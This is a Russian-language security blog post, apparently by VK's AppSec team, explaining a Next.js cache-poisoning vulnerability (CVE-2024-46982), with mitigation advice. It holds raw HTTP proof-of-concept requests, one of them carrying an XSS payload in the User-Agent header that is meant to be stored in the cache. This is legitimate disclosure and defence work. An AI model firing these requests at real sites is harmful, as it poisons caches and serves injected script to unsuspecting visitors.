Разбираем вместе с Андреем Матвеенко из команды AppSec (ВКонтакте) и автором канала Blue (h/c)at Café нашумевшую и легкоэксплуатируемую уязвимость в Next.js.
Недавно в команде мы столкнулись с интересной ситуацией, связанной с неожиданным поведением механизма кеширования в Next.js. Это натолкнуло на мысль, что при определённых условиях можно добиться некорректной обработки пользовательских данных, что открывает путь для нестандартных атак — отравление кеша или внедрение нежелательного содержимого. Мы начали изучать материалы из открытых источников, а также проверять все наши внутренние сервисы на наличие проблемы. Рассказываю здесь, что мы нашли, как это можно проэксплуатировать и как защититься.
Next.js использует два механизма для работы с данными: SSG (Static Site Generation) и SSR (Server-Side Rendering). SSG генерирует страницы на этапе сборки, которые потом кешируются CDN с использованием заголовков вроде
Cache-Control: s-maxage=31536000, stale-while-revalidate. В отличие от SSG, SSR динамически создает контент на основе запроса пользователя и предполагает строгий контроль за кешированием (
Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate ). 🔹 Proof of Concept (PoC)
Уязвимость позволяет обмануть сервер, заставив его воспринимать SSR-запросы как SSG. Это достигается путем добавления параметра
__nextDataReq и заголовка x-now-route-matches. Например, следующий запрос к уязвимому серверу изменяет правила кеширования:
GET /poc?__nextDataReq=1 HTTP/1.1
Host: localhost:8080
x-now-route-matches: 1
Cache-Control: s-maxage=1, stale-while-revalidate
После этого сервер начинает кешировать динамические данные, которые изначально не предназначались для кеша. Это может привести к отравлению кеша, когда пользователи начинают получать неверные данные. Более того, если сервер отражает данные из запроса, это открывает возможности для Stored XSS. Условный злоумышленник может отправить запрос с вредоносным кодом в заголовке, например:
GET /poc?__nextDataReq=1 HTTP/1.1
Host: localhost:8080
User-Agent: <img src=x onerror=alert('CVE-2024-46982')>
x-now-route-matches: 1
После выполнения такого запроса вредоносный код будет сохранен в кеше и сработает при каждом посещении страницы.
Ссылка на PoC — тут.
Последствия эксплуатации:
🔹 DoS (Denial of Service)
🔹 Stored XSS
🔹 Утечка данных
Рекомендации по защите
1️⃣ Обновление Next.js до версии ≥ 14.2.10* (UPD)
2️⃣ На уровне приложения или CDN удаляйте все заголовки, которые не были указаны в спеке:
delete req.headers['x-now-route-matches'];
3️⃣ Убедитесь, что сервер использует строгие правила кеширования для SSR:
res.setHeader('Cache-Control', 'private, no-cache, no-store, max-age=0, must-revalidate');
VK Security
#appsec #эксперты #cve #разбор
